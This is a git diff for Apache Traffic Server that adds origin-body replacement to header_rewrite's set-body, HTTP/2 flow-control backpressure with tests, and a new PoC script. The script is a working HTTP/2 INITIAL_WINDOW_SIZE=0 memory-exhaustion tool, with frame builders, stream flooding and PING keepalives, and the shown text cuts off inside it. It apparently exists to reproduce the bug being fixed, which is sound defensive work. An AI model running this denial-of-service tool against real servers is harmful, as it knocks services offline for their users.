diff --git a/doc/admin-guide/plugins/header_rewrite.en.rst b/doc/admin-guide/plugins/header_rewrite.en.rst index 2d57f64f973..40241a1016b 100644 --- a/doc/admin-guide/plugins/header_rewrite.en.rst +++ b/doc/admin-guide/plugins/header_rewrite.en.rst @@ -1177,8 +1177,25 @@ set-body set-body -Sets the body to ````. Can also be used to delete a body with ``""``. This is only useful when overriding the origin status, i.e. -intercepting/pre-empting a request so that you can override the body from the body-factory with your own. +Sets the body to ````. +For internally generated/synthetic responses, ``set-body ""`` can be used to clear that replacement body. + +For origin response replacement, ``set-body`` is supported at both +``READ_RESPONSE_HDR_HOOK`` and ``SEND_RESPONSE_HDR_HOOK``. Prefer +``READ_RESPONSE_HDR_HOOK`` when possible so body replacement happens before +response body tunneling starts. + +.. note:: + + When ``set-body`` replaces an origin response body, ATS emits the replacement + through its internal error-body path. ``Content-Type`` defaults to + ``text/html`` unless you override it with ``set-header Content-Type``. + ``set-body ""`` clears the internal replacement body, but does not suppress an + origin response body on this hook; use a non-empty replacement value when + sanitizing origin responses. + The gold tests cover origin replacement for both hooks with and without an + active response transform. The transform-inactive matrix runs with HTTP cache + disabled and includes repeated-URL probes to verify deterministic replacement. set-body-from ~~~~~~~~~~~~~ diff --git a/include/proxy/http2/Http2Stream.h b/include/proxy/http2/Http2Stream.h index bc4b0743c51..7d936beee88 100644 --- a/include/proxy/http2/Http2Stream.h +++ b/include/proxy/http2/Http2Stream.h @@ -189,6 +189,7 @@ class Http2Stream : public ProxyTransaction bool parsing_header_done = false; bool is_first_transaction_flag = false; + bool _send_buffer_full = false; HTTPHdr _send_header; IOBufferReader *_send_reader = nullptr; diff --git a/plugins/header_rewrite/operators.cc b/plugins/header_rewrite/operators.cc index 20207bd24b8..3e34efbe7ee 100644 --- a/plugins/header_rewrite/operators.cc +++ b/plugins/header_rewrite/operators.cc @@ -813,6 +813,7 @@ void OperatorSetBody::initialize_hooks() { add_allowed_hook(TS_REMAP_PSEUDO_HOOK); + add_allowed_hook(TS_HTTP_READ_RESPONSE_HDR_HOOK); add_allowed_hook(TS_HTTP_SEND_RESPONSE_HDR_HOOK); } diff --git a/src/api/InkAPI.cc b/src/api/InkAPI.cc index 2f62c45f755..423d26a043a 100644 --- a/src/api/InkAPI.cc +++ b/src/api/InkAPI.cc @@ -4948,6 +4948,9 @@ TSHttpTxnErrorBodySet(TSHttpTxn txnp, char *buf, size_t buflength, char *mimetyp s->internal_msg_buffer = buf; s->internal_msg_buffer_size = buf ? buflength : 0; s->internal_msg_buffer_fast_allocator_size = -1; + // TSHttpTxnErrorBodySet() and TSHttpTxnServerRequestBodySet() share the same buffer. + // Switching to an error/response body override must clear the request-body mode. + s->api_server_request_body_set = false; s->internal_msg_buffer_type = mimetype; } diff --git a/src/proxy/http/HttpSM.cc b/src/proxy/http/HttpSM.cc index c8a6b128dc8..eb7b2e1ab6c 100644 --- a/src/proxy/http/HttpSM.cc +++ b/src/proxy/http/HttpSM.cc @@ -1687,9 +1687,31 @@ HttpSM::handle_api_return() switch (t_state.next_action) { case HttpTransact::StateMachineAction_t::TRANSFORM_READ: { - HttpTunnelProducer *p = setup_transfer_from_transform(); - perform_transform_cache_write_action(); - tunnel.tunnel_run(p); + if (t_state.internal_msg_buffer && !t_state.api_server_request_body_set && t_state.hdr_info.server_response.valid()) { + SMDbg(dbg_ctl_http, "plugin set internal body, bypassing response transform for internal transfer"); + t_state.api_info.cache_untransformed = true; + if (tunnel.is_tunnel_active()) { + tunnel.kill_tunnel(); + } + if (transform_info.entry != nullptr) { + vc_table.cleanup_entry(transform_info.entry); + transform_info.entry = nullptr; + } + transform_info.vc = nullptr; + // Downstream paths read client_response; seed from transform_response when missing. + if (t_state.hdr_info.client_response.valid() == 0 && t_state.hdr_info.transform_response.valid()) { + t_state.hdr_info.client_response.create(HTTPType::RESPONSE); + t_state.hdr_info.client_response.copy(&t_state.hdr_info.transform_response); + } + if (server_entry != nullptr && server_entry->in_tunnel == false) { + release_server_session(); + } + setup_internal_transfer(&HttpSM::tunnel_handler); + } else { + HttpTunnelProducer *p = setup_transfer_from_transform(); + perform_transform_cache_write_action(); + tunnel.tunnel_run(p); + } break; } case HttpTransact::StateMachineAction_t::SERVER_READ: { @@ -1722,6 +1744,14 @@ HttpSM::handle_api_return() } setup_blind_tunnel(true, initial_data); + } else if (t_state.internal_msg_buffer && !t_state.api_server_request_body_set && t_state.hdr_info.server_response.valid() && + plugin_tunnel == nullptr && + (cur_hook_id == TS_HTTP_READ_RESPONSE_HDR_HOOK || cur_hook_id == TS_HTTP_SEND_RESPONSE_HDR_HOOK)) { + SMDbg(dbg_ctl_http, "plugin set internal body, using internal transfer instead of server tunnel"); + if (server_entry != nullptr && server_entry->in_tunnel == false) { + release_server_session(); + } + setup_internal_transfer(&HttpSM::tunnel_handler); } else { HttpTunnelProducer *p = setup_server_transfer(); perform_cache_write_action(); @@ -7578,12 +7608,21 @@ HttpSM::setup_client_request_plugin_agents(HttpTunnelProducer *p, int num_header inline void HttpSM::transform_cleanup(TSHttpHookID hook, HttpTransformInfo *info) { + // Internal-body bypass can skip transform tunnel setup, leaving no transform + // entry to clean up. In that case there is nothing safe/useful to close here. + if (info->entry == nullptr) { + return; + } APIHook *t_hook = api_hooks.get(hook); if (t_hook && info->vc == nullptr) { do { - VConnection *t_vcon = t_hook->m_cont; - t_vcon->do_io_close(); - t_hook = t_hook->m_link.next; + APIHook *next = t_hook->m_link.next; + // Some transform hooks can already be detached by the time kill_this() runs. + // Guard against null continuations while still draining the remaining hooks. + if (auto *t_vcon = static_cast(t_hook->m_cont); t_vcon != nullptr) { + t_vcon->do_io_close(); + } + t_hook = next; } while (t_hook != nullptr); } } @@ -7664,7 +7703,14 @@ HttpSM::kill_this() // In that case, we need to manually close all the // transforms to prevent memory leaks (INKqa06147) if (hooks_set) { - transform_cleanup(TS_HTTP_RESPONSE_TRANSFORM_HOOK, &transform_info); + bool bypassed_response_transform = + t_state.api_info.cache_untransformed && t_state.internal_msg_buffer && !t_state.api_server_request_body_set; + // If we intentionally bypassed response transforms for internal-body + // transfer, transform_info may be partially detached; skip cleanup in this + // specific case to avoid dereferencing stale transform state. + if (!bypassed_response_transform) { + transform_cleanup(TS_HTTP_RESPONSE_TRANSFORM_HOOK, &transform_info); + } transform_cleanup(TS_HTTP_REQUEST_TRANSFORM_HOOK, &post_transform_info); plugin_agents_cleanup(); } @@ -8230,6 +8276,21 @@ HttpSM::set_next_state() case HttpTransact::StateMachineAction_t::SERVER_READ: { t_state.source = HttpTransact::Source_t::HTTP_ORIGIN_SERVER; + if (transform_info.vc && t_state.internal_msg_buffer && !t_state.api_server_request_body_set && + t_state.hdr_info.server_response.valid()) { + SMDbg(dbg_ctl_http, "plugin set internal body, bypassing response transform"); + t_state.api_info.cache_untransformed = true; + if (transform_info.entry != nullptr) { + vc_table.cleanup_entry(transform_info.entry); + transform_info.entry = nullptr; + } + transform_info.vc = nullptr; + if (t_state.hdr_info.client_response.valid() == 0 && t_state.hdr_info.transform_response.valid()) { + t_state.hdr_info.client_response.create(HTTPType::RESPONSE); + t_state.hdr_info.client_response.copy(&t_state.hdr_info.transform_response); + } + } + if (transform_info.vc) { ink_assert(t_state.hdr_info.client_response.valid() == 0); ink_assert((t_state.hdr_info.transform_response.valid() ? true : false) == true); diff --git a/src/proxy/http2/Http2ConnectionState.cc b/src/proxy/http2/Http2ConnectionState.cc index 34effdf60b1..96972d5d623 100644 --- a/src/proxy/http2/Http2ConnectionState.cc +++ b/src/proxy/http2/Http2ConnectionState.cc @@ -2298,6 +2298,13 @@ Http2ConnectionState::send_a_data_frame(Http2Stream *stream, size_t &payload_len } Http2StreamDebug(this->session, stream->get_id(), "No window session_wnd=%zd stream_wnd=%zd peer_initial_window=%u", get_peer_rwnd(), stream->get_peer_rwnd(), this->peer_settings.get(HTTP2_SETTINGS_INITIAL_WINDOW_SIZE)); + + // Mark the stream write-stalled so update_write_request skips future + // send attempts until restart_sending clears this on a WINDOW_UPDATE. + // This stops the origin read VIO from being re-enabled while the peer + // window is zero, bounding how much response body can accumulate. + stream->_send_buffer_full = true; + this->session->flush(); return Http2SendDataFrameResult::NO_WINDOW; } diff --git a/src/proxy/http2/Http2Stream.cc b/src/proxy/http2/Http2Stream.cc index a5cdc20b8ac..14c3584f898 100644 --- a/src/proxy/http2/Http2Stream.cc +++ b/src/proxy/http2/Http2Stream.cc @@ -772,6 +772,11 @@ Http2Stream::restart_sending() if (this->is_closed()) { return; } + + // The peer's flow-control window has opened; allow update_write_request to + // proceed again so origin reads can resume. + _send_buffer_full = false; + if (!this->parsing_header_done) { this->update_write_request(true); return; @@ -806,6 +811,13 @@ Http2Stream::update_write_request(bool call_update) return; } + // If we are backed up waiting for the peer's flow-control window to open, + // don't consume more data from the origin-side buffer. This prevents the + // origin read VIO from being re-enabled and keeps memory bounded. + if (parsing_header_done && _send_buffer_full) { + return; + } + if (!this->_switch_thread_if_not_on_right_thread(VC_EVENT_WRITE_READY, nullptr)) { // Not on the right thread return; diff --git a/src/records/RecordsConfig.cc b/src/records/RecordsConfig.cc index 7c8ab553d43..901042dafbb 100644 --- a/src/records/RecordsConfig.cc +++ b/src/records/RecordsConfig.cc @@ -349,11 +349,11 @@ static constexpr RecordElement RecordsConfig[] = , {RECT_CONFIG, "proxy.config.http.strict_chunk_parsing", RECD_INT, "1", RECU_DYNAMIC, RR_NULL, RECC_INT, "[0-1]", RECA_NULL} , - {RECT_CONFIG, "proxy.config.http.flow_control.enabled", RECD_INT, "0", RECU_DYNAMIC, RR_NULL, RECC_NULL, nullptr, RECA_NULL} + {RECT_CONFIG, "proxy.config.http.flow_control.enabled", RECD_INT, "1", RECU_DYNAMIC, RR_NULL, RECC_NULL, nullptr, RECA_NULL} , - {RECT_CONFIG, "proxy.config.http.flow_control.high_water", RECD_INT, "0", RECU_DYNAMIC, RR_NULL, RECC_NULL, nullptr, RECA_NULL} + {RECT_CONFIG, "proxy.config.http.flow_control.high_water", RECD_INT, "33554432", RECU_DYNAMIC, RR_NULL, RECC_NULL, nullptr, RECA_NULL} , - {RECT_CONFIG, "proxy.config.http.flow_control.low_water", RECD_INT, "0", RECU_DYNAMIC, RR_NULL, RECC_NULL, nullptr, RECA_NULL} + {RECT_CONFIG, "proxy.config.http.flow_control.low_water", RECD_INT, "8388608", RECU_DYNAMIC, RR_NULL, RECC_NULL, nullptr, RECA_NULL} , {RECT_CONFIG, "proxy.config.http.post.check.content_length.enabled", RECD_INT, "1", RECU_DYNAMIC, RR_NULL, RECC_INT, "[0-1]", RECA_NULL} , diff --git a/tests/gold_tests/pluginTest/header_rewrite/header_rewrite_set_body_origin.replay.yaml b/tests/gold_tests/pluginTest/header_rewrite/header_rewrite_set_body_origin.replay.yaml new file mode 100644 index 00000000000..486847fca5c --- /dev/null +++ b/tests/gold_tests/pluginTest/header_rewrite/header_rewrite_set_body_origin.replay.yaml @@ -0,0 +1,349 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +meta: + version: "1.0" + +autest: + description: 'Test set-body origin replacement (transform plugin loaded; selected paths keep it inactive)' + + dns: + name: 'dns' + + server: + name: 'server' + + client: + name: 'client' + process_config: + other_args: '--thread-limit 1' + + ats: + name: 'ts' + + plugin_config: + - null_transform.so + + copy_to_config_dir: + - 'rules' + + records_config: + proxy.config.http.insert_response_via_str: 0 + proxy.config.http.cache.http: 0 + proxy.config.diags.debug.enabled: 1 + proxy.config.diags.debug.tags: 'http|header_rewrite' + + remap_config: + # Block 1: READ_RESPONSE hook replacement path with transform inactive (non-200 response). + - from: "http://www.example.com/set_body_read_resp_403/" + to: "http://backend.ex:{SERVER_HTTP_PORT}/origin_read_403/" + plugins: + - name: "header_rewrite.so" + args: + - "rules/rule_set_body_origin_read_resp.conf" + + # Block 2: SEND_RESPONSE hook replacement path with transform inactive (non-200 response). + - from: "http://www.example.com/set_body_send_resp_403/" + to: "http://backend.ex:{SERVER_HTTP_PORT}/origin_send_403/" + plugins: + - name: "header_rewrite.so" + args: + - "rules/rule_set_body_origin_send_resp.conf" + + # Block 3a: repeated-URL probe for READ_RESPONSE hook (same URL twice, transform inactive). + - from: "http://www.example.com/cache_probe_read/" + to: "http://backend.ex:{SERVER_HTTP_PORT}/cache_probe_read/" + plugins: + - name: "header_rewrite.so" + args: + - "rules/rule_set_body_origin_read_resp.conf" + + # Block 3b: repeated-URL probe for SEND_RESPONSE hook (same URL twice, transform inactive). + - from: "http://www.example.com/cache_probe_send/" + to: "http://backend.ex:{SERVER_HTTP_PORT}/cache_probe_send/" + plugins: + - name: "header_rewrite.so" + args: + - "rules/rule_set_body_origin_send_resp.conf" + + # Block 4a: READ_RESPONSE hook with response transform plugin active. + - from: "http://www.example.com/set_body_transform_read/" + to: "http://backend.ex:{SERVER_HTTP_PORT}/origin_transform_read/" + plugins: + - name: "header_rewrite.so" + args: + - "rules/rule_set_body_origin_read_resp.conf" + + # Block 4b: SEND_RESPONSE hook with response transform plugin active. + - from: "http://www.example.com/set_body_transform_send/" + to: "http://backend.ex:{SERVER_HTTP_PORT}/origin_transform_send/" + plugins: + - name: "header_rewrite.so" + args: + - "rules/rule_set_body_origin_send_resp.conf" + +sessions: + +- transactions: + # Block 1 verification: READ_RESPONSE hook replacement. + - client-request: + method: "GET" + version: "1.1" + url: /set_body_read_resp_403/ + headers: + fields: + - [ Host, www.example.com ] + - [ uuid, 1 ] + + server-response: + status: 403 + reason: Forbidden + headers: + fields: + - [ Content-Length, "40" ] + - [ Content-Type, "text/plain" ] + content: + size: 40 + data: "Sensitive account info: secret-key-12345" + + proxy-response: + status: 403 + headers: + fields: + - [ Content-Length, { value: "9", as: equal } ] + - [ Content-Type, { value: "text/html", as: equal } ] + content: + size: 9 + data: "Sanitized" + + # Block 2 verification: SEND_RESPONSE hook replacement. + - client-request: + method: "GET" + version: "1.1" + url: /set_body_send_resp_403/ + headers: + fields: + - [ Host, www.example.com ] + - [ uuid, 2 ] + + server-response: + status: 403 + reason: Forbidden + headers: + fields: + - [ Content-Length, "40" ] + - [ Content-Type, "text/plain" ] + content: + size: 40 + data: "Sensitive account info: secret-key-12345" + + proxy-response: + status: 403 + headers: + fields: + - [ Content-Length, { value: "9", as: equal } ] + - [ Content-Type, { value: "text/html", as: equal } ] + content: + size: 9 + data: "Sanitized" + + # Block 3a verification: repeated-URL probe for READ_RESPONSE. + # First response on repeated URL. + - client-request: + method: "GET" + version: "1.1" + url: /cache_probe_read/ + headers: + fields: + - [ Host, www.example.com ] + - [ uuid, 3 ] + + server-response: + status: 403 + reason: Forbidden + headers: + fields: + - [ Content-Length, "5" ] + - [ Content-Type, "text/plain" ] + content: + size: 5 + data: "first" + + proxy-response: + status: 403 + headers: + fields: + - [ Content-Length, { value: "9", as: equal } ] + content: + size: 9 + data: "Sanitized" + + # Block 3a verification: repeated-URL probe for READ_RESPONSE. + # Second response on repeated URL should still be replaced. + # Keep this as non-200 so null_transform does not engage. + - client-request: + method: "GET" + version: "1.1" + url: /cache_probe_read/ + headers: + fields: + - [ Host, www.example.com ] + - [ uuid, 4 ] + + server-response: + status: 403 + reason: Forbidden + headers: + fields: + - [ Content-Length, "6" ] + - [ Content-Type, "text/plain" ] + content: + size: 6 + data: "second" + + proxy-response: + status: 403 + headers: + fields: + - [ Content-Length, { value: "9", as: equal } ] + content: + size: 9 + data: "Sanitized" + + # Block 3b verification: repeated-URL probe for SEND_RESPONSE. + # First response on repeated URL. + - client-request: + method: "GET" + version: "1.1" + url: /cache_probe_send/ + headers: + fields: + - [ Host, www.example.com ] + - [ uuid, 5 ] + + server-response: + status: 403 + reason: Forbidden + headers: + fields: + - [ Content-Length, "5" ] + - [ Content-Type, "text/plain" ] + content: + size: 5 + data: "first" + + proxy-response: + status: 403 + headers: + fields: + - [ Content-Length, { value: "9", as: equal } ] + content: + size: 9 + data: "Sanitized" + + # Block 3b verification: repeated-URL probe for SEND_RESPONSE. + # Second response on repeated URL should still be replaced. + # Keep this as non-200 so null_transform does not engage. + - client-request: + method: "GET" + version: "1.1" + url: /cache_probe_send/ + headers: + fields: + - [ Host, www.example.com ] + - [ uuid, 6 ] + + server-response: + status: 403 + reason: Forbidden + headers: + fields: + - [ Content-Length, "6" ] + - [ Content-Type, "text/plain" ] + content: + size: 6 + data: "second" + + proxy-response: + status: 403 + headers: + fields: + - [ Content-Length, { value: "9", as: equal } ] + content: + size: 9 + data: "Sanitized" + + # Block 4a verification: READ_RESPONSE with transform plugin active. + - client-request: + method: "GET" + version: "1.1" + url: /set_body_transform_read/ + headers: + fields: + - [ Host, www.example.com ] + - [ uuid, 7 ] + + server-response: + status: 200 + reason: OK + headers: + fields: + - [ Content-Length, "40" ] + - [ Content-Type, "text/plain" ] + content: + size: 40 + data: "Sensitive account info: secret-key-12345" + + proxy-response: + status: 200 + headers: + fields: + - [ Content-Length, { value: "9", as: equal } ] + - [ Content-Type, { value: "text/html", as: equal } ] + content: + size: 9 + data: "Sanitized" + + # Block 4b verification: SEND_RESPONSE with transform plugin active. + - client-request: + method: "GET" + version: "1.1" + url: /set_body_transform_send/ + headers: + fields: + - [ Host, www.example.com ] + - [ uuid, 8 ] + + server-response: + status: 200 + reason: OK + headers: + fields: + - [ Content-Length, "40" ] + - [ Content-Type, "text/plain" ] + content: + size: 40 + data: "Sensitive account info: secret-key-12345" + + proxy-response: + status: 200 + headers: + fields: + - [ Content-Length, { value: "9", as: equal } ] + - [ Content-Type, { value: "text/html", as: equal } ] + content: + size: 9 + data: "Sanitized" diff --git a/tests/gold_tests/pluginTest/header_rewrite/header_rewrite_set_body_origin.test.py b/tests/gold_tests/pluginTest/header_rewrite/header_rewrite_set_body_origin.test.py new file mode 100644 index 00000000000..0eb53765b2e --- /dev/null +++ b/tests/gold_tests/pluginTest/header_rewrite/header_rewrite_set_body_origin.test.py @@ -0,0 +1,27 @@ +''' +Test header_rewrite set-body replacing origin server response bodies. +''' +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +Test.Summary = ''' +Test set-body origin replacement matrix: +- no transform plugin (READ_RESPONSE_HDR and SEND_RESPONSE_HDR, with cache-bypass probes) +- null_transform plugin active (READ_RESPONSE_HDR and SEND_RESPONSE_HDR) +''' + +Test.SkipUnless(Condition.PluginExists('null_transform.so')) +Test.ATSReplayTest(replay_file="header_rewrite_set_body_origin.replay.yaml") diff --git a/tests/gold_tests/pluginTest/header_rewrite/rules/rule_set_body_origin_read_resp.conf b/tests/gold_tests/pluginTest/header_rewrite/rules/rule_set_body_origin_read_resp.conf new file mode 100644 index 00000000000..3d024c2c89e --- /dev/null +++ b/tests/gold_tests/pluginTest/header_rewrite/rules/rule_set_body_origin_read_resp.conf @@ -0,0 +1,19 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +cond %{READ_RESPONSE_HDR_HOOK} + set-body "Sanitized" diff --git a/tests/gold_tests/pluginTest/header_rewrite/rules/rule_set_body_origin_send_resp.conf b/tests/gold_tests/pluginTest/header_rewrite/rules/rule_set_body_origin_send_resp.conf new file mode 100644 index 00000000000..4d4321dee6e --- /dev/null +++ b/tests/gold_tests/pluginTest/header_rewrite/rules/rule_set_body_origin_send_resp.conf @@ -0,0 +1,19 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +cond %{SEND_RESPONSE_HDR_HOOK} + set-body "Sanitized" diff --git a/tests/prepare_proxy_verifier.sh b/tests/prepare_proxy_verifier.sh index 3e853a30f1b..8c570efc7f8 100755 --- a/tests/prepare_proxy_verifier.sh +++ b/tests/prepare_proxy_verifier.sh @@ -40,7 +40,7 @@ pv_dir="${pv_name}-${pv_version}" pv_tar_filename="${pv_dir}.tar.gz" pv_tar="${pv_top_dir}/${pv_tar_filename}" pv_tar_url="https://ci.trafficserver.apache.org/bintray/${pv_tar_filename}" -expected_sha1="e11b5867a56c5ffd496b18c901f1273e9c120a47" +expected_sha1="0a60c646cbc9326abb2fbc397cb9efa8c08a807a" pv_client="${bin_dir}/verifier-client" pv_server="${bin_dir}/verifier-server" TAR=${TAR:-tar} diff --git a/tests/tools/iws0_dos_poc.py b/tests/tools/iws0_dos_poc.py new file mode 100644 index 00000000000..40ddee9f48c --- /dev/null +++ b/tests/tools/iws0_dos_poc.py @@ -0,0 +1,718 @@ +#!/usr/bin/env python3 +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +""" +HTTP/2 INITIAL_WINDOW_SIZE=0 DoS PoC for Apache Traffic Server. + +The attack: + 1. Client sends SETTINGS{INITIAL_WINDOW_SIZE=0} telling ATS its send + window for new streams is zero. + 2. Client opens --streams streams requesting a --body-size byte resource. + 3. ATS fetches the full origin response but cannot forward any DATA frames + (peer send window == 0), so the response accumulates in IOBuffers. + 4. Client sends a PING every --ping-interval seconds to reset the inactivity + timer and keep the connection alive. + 5. After --hold-seconds, all connections are dropped simultaneously. + 6. RSS delta is reported before/after the hold period. + +Run on the ATS host or alongside an accessible ATS instance. + +Usage: + # Minimal -- point at a running ATS HTTPS port + python3 iws0_dos_poc.py --host 127.0.0.1 --port 4443 \\ + --streams 50 --conns 4 --body-size 5242880 --hold-seconds 60 + + # Self-contained mode: spin up origin + ATS runroot automatically + python3 iws0_dos_poc.py --self-contained \\ + --ats-build /opt/ats --runroot-base /tmp/iws0-test \\ + --streams 100 --conns 10 --body-size 10485760 --hold-seconds 90 +""" + +from __future__ import annotations + +import argparse +import http.server +import os +import queue +import shutil +import socket +import ssl +import struct +import subprocess +import sys +import textwrap +import threading +import time +from pathlib import Path + +# --------------------------------------------------------------------------- +# Raw H2 frame helpers +# --------------------------------------------------------------------------- + +HTTP2_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" + +FRAME_DATA = 0 +FRAME_HEADERS = 1 +FRAME_SETTINGS = 4 +FRAME_PING = 6 +FRAME_WINDOW_UPDATE = 8 + +FLAG_END_STREAM = 0x01 +FLAG_END_HEADERS = 0x04 +FLAG_ACK = 0x01 + +SETTING_INITIAL_WINDOW_SIZE = 4 + + +def _frame(ftype: int, flags: int, sid: int, payload: bytes = b'') -> bytes: + return len(payload).to_bytes(3, 'big') + bytes([ftype, flags]) + struct.pack('!I', sid & 0x7FFFFFFF) + payload + + +def settings_iws0() -> bytes: + """Client SETTINGS advertising INITIAL_WINDOW_SIZE=0 (zero send-window for ATS).""" + return _frame(FRAME_SETTINGS, 0, 0, struct.pack('!HI', SETTING_INITIAL_WINDOW_SIZE, 0)) + + +def settings_ack() -> bytes: + return _frame(FRAME_SETTINGS, FLAG_ACK, 0) + + +def ping_frame(data: bytes = b'\xde\xad\xbe\xef\xca\xfe\xba\xbe') -> bytes: + return _frame(FRAME_PING, 0, 0, data[:8].ljust(8, b'\x00')) + + +def ping_ack(data: bytes) -> bytes: + return _frame(FRAME_PING, FLAG_ACK, 0, data[:8].ljust(8, b'\x00')) + + +def _hpack_int(value: int, prefix_bits: int) -> bytes: + max_val = (1 << prefix_bits) - 1 + if value < max_val: + return bytes([value]) + result = bytearray([max_val]) + value -= max_val + while value >= 128: + result.append((value & 0x7F) | 0x80) + value >>= 7 + result.append(value) + return bytes(result) + + +def _hpack_indexed_name(name_idx: int, value: str) -> bytes: + """Literal header field without indexing, indexed name.""" + v = value.encode() + return _hpack_int(name_idx, 4) + _hpack_int(len(v), 7) + v + + +def request_headers_block(path: str, authority: str) -> bytes: + """Minimal HPACK block for a GET request.""" + block = bytearray() + block += b'\x82' # :method = GET (static index 2, fully indexed) + block += b'\x87' # :scheme = https (static index 7, fully indexed) + block += _hpack_indexed_name(4, path) # :path (index 4 = :path /) + block += _hpack_indexed_name(1, authority) # :authority (index 1) + return bytes(block) + + +def headers_frame(stream_id: int, hblock: bytes) -> bytes: + return _frame(FRAME_HEADERS, FLAG_END_HEADERS, stream_id, hblock) + + +# --------------------------------------------------------------------------- +# RSS helpers +# --------------------------------------------------------------------------- + + +def rss_kb(pid: int) -> int | None: + """Read RSS from /proc/PID/status (Linux only).""" + try: + for line in Path(f'/proc/{pid}/status').read_text().splitlines(): + if line.startswith('VmRSS:'): + return int(line.split()[1]) + except Exception: + pass + return None + + +def find_ats_pid(binary_name: str = 'traffic_server') -> int | None: + try: + out = subprocess.check_output(['pgrep', '-x', binary_name], text=True).strip() + pids = [int(p) for p in out.splitlines() if p.strip()] + return pids[0] if pids else None + except Exception: + return None + + +# --------------------------------------------------------------------------- +# TLS + H2 connection +# --------------------------------------------------------------------------- + + +class H2Conn: + """A single TLS+H2 connection holding N frozen streams.""" + + def __init__(self, host: str, port: int, sni: str, streams: int, path: str): + self.host = host + self.port = port + self.sni = sni + self.num_streams = streams + self.path = path + self._sock: ssl.SSLSocket | None = None + self._lock = threading.Lock() + self._alive = True + self._ping_thread: threading.Thread | None = None + + def connect(self) -> None: + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + ctx.set_alpn_protocols(['h2']) + raw = socket.create_connection((self.host, self.port), timeout=15) + raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + self._sock = ctx.wrap_socket(raw, server_hostname=self.sni) + self._sock.settimeout(2.0) + + alpn = self._sock.selected_alpn_protocol() + if alpn != 'h2': + raise RuntimeError(f'ALPN negotiated {alpn!r}, not h2') + + # H2 connection preface: magic + SETTINGS{IWS=0} + self._send(HTTP2_PREFACE + settings_iws0()) + + # Read server preface (SETTINGS) and ACK it + self._drain_until_settings() + self._send(settings_ack()) + + # Open all streams without END_STREAM so they stay half-open, + # requesting the large resource from ATS. + hblock = request_headers_block(self.path, self.sni) + buf = bytearray() + for i in range(self.num_streams): + sid = 2 * i + 1 + buf += headers_frame(sid, hblock) + self._send(bytes(buf)) + + # Start the keepalive ping thread + self._ping_thread = threading.Thread(target=self._ping_loop, daemon=True) + self._ping_thread.start() + + def _send(self, data: bytes) -> None: + if self._sock: + try: + self._sock.sendall(data) + except OSError: + self._alive = False + + def _drain_until_settings(self) -> None: + """Read until we see a SETTINGS frame from the server.""" + buf = bytearray() + deadline = time.monotonic() + 10 + while time.monotonic() < deadline: + try: + chunk = self._sock.recv(16384) + except (socket.timeout, ssl.SSLError): + continue + if not chunk: + break + buf += chunk + pos = 0 + while len(buf) - pos >= 9: + length = int.from_bytes(buf[pos:pos + 3], 'big') + ftype = buf[pos + 3] + flags = buf[pos + 4] + if len(buf) - pos - 9 < length: + break + if ftype == FRAME_SETTINGS and not (flags & FLAG_ACK): + return # found server SETTINGS + if ftype == FRAME_PING and not (flags & FLAG_ACK): + ping_data = buf[pos + 9:pos + 9 + length] + self._send(ping_ack(ping_data)) + pos += 9 + length + + def _ping_loop(self) -> None: + """Send a PING every ping_interval seconds to keep the connection alive.""" + while self._alive: + time.sleep(args_global.ping_interval) + if not self._alive: + break + self._send(ping_frame()) + # Drain any incoming frames (PING ACKs, WINDOW_UPDATEs we ignore) + if self._sock: + try: + self._sock.recv(4096) + except (socket.timeout, ssl.SSLError, OSError): + pass + + def drop(self) -> None: + """Abruptly close the TCP connection without H2 GOAWAY.""" + self._alive = False + if self._sock: + try: + self._sock.close() + except OSError: + pass + self._sock = None + + +# --------------------------------------------------------------------------- +# TLS + HTTP/1.1 slow-read connection +# --------------------------------------------------------------------------- + + +class H1Conn: + """Single TLS+HTTP/1.1 connection: sends GET, reads only 